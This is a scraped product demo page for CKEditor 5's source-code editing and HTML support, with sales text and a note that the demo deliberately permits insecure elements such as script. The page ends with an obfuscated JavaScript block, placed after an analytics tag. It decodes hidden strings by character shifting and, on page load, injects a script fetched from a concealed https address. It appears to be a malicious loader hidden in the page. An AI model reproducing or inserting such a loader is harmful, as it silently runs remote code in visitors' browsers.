Drupal CMS Recipes and new features in the CKEditor module. Webinar on June 25th!
Register now

Source code editing
and HTML support

Gain full control over the markup in your editor.

View all demos

Click the Source button () and update the HTML elements or attributes as you like. You can also style your HTML using inline CSS.

HTML playground

This is a sample paragraph with a data attribute.

Spoiler alert created with a details element!

This demo uses elements such as abbr, article, section, aside, and details.

Responsive column layout

HTML
CSS
JS
Note

  • You can configure the editor to allow only safe elements, preventing insecure HTML. This demo was intentionally configured to support insecure elements such as <script> to showcase our comprehensive HTML support.

  • This demo includes Enhanced Source Code Editing and supports all the Advanced HTML support capabilities available in CKEditor 5.

  • Enhanced Source Code Editing is a Premium feature available in Essential, Professional as well as Custom plans.

Check the source code for this demo.

Trusted and approved by

Can’t see what you’re looking for?

Talk to our Sales Representative to discuss your use case
and learn what more CKEditor can do for you.

Contact Sales
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });